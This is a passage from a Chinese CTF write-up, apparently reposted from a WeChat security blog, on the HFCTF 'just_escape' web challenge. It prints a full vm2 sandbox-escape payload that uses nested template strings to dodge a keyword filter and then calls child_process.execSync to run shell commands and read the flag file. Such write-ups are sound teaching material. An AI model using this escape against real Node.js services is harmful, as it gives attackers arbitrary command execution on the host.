首届“虎符网络安全赛道”已告一段落,本次比赛Web赛题为一道php、两道NodeJS,考虑到官方公布的writeup过程过于简洁,本着分享及进步为原则,特对web赛题做一次详细解析,以供各位CTF爱好者解读涨知识;
第二题:just_escape
初探题目
访问:
http://e5ec4111-aa49-4a07-ad7d-e0a7908ac101.node3.buuoj.cn/
1.浏览器F12,通过header中X-Powered-By,获取到后端是express(注:基于Node.js平台的 Web 开发框架),说明 run.php和“真的是PHP嘛”是障眼法;
2.执行:/run.php?code=Error().stack,根据报错信息发现是vm2的沙盒逃逸问题(注:vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸):
构造payload
通过 https://github.com/patriksimek/vm2/issues/225(该作者会实时更新vm逃逸的poc),得到vm2最新沙盒逃逸 poc:
本地测试成功:
利用 console.log 输出 Payload:
Payload为:
但在直接使用时发现存在 waf,手工输入POC的关键词发现程序过滤了:
Function, prototype, get_process,constructor, child_process,execSync, 双引号, 单引号
如,测试 “Function” 关键词:
利用反引号来把文本括起来作为字符串,同时利用模板字符串嵌套拼接出我们想要的被过滤了的字符串。参考https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings
比如 prototype 被过滤了,可以写成 :
`${`${`prototyp`}e`}`
将所有被过滤的关键词用上面的方式转换,同时结合数组调用来绕过过滤保证正确调用。
Payload变为:
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`]=
f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return
e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
payload获取flag
1.Payload成功执行:
2.将“whoami”改为“ls ”:
3.将“ls ”改为“cat/flag”
成功获取到flag!
总结反思
本次赛题中,有两道新兴语言nodejs,预示着我们要扩宽知识面技能树;第二题的突破口通过构造nodejs异常得到VM2沙箱逃逸思路,进而对payload做编码转换绕过过滤,最终通过VM2沙箱逃逸打印出flag。
扫码关注
内网攻防、脚本工具开发等安全领域,致力于分享精品原
创文章、漏洞复现、工具靶场、CTF等技术干货。
原文始发于微信公众号(SK安全实验室):虎符杯(HFCTF)writeup超详解-Web篇(中)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论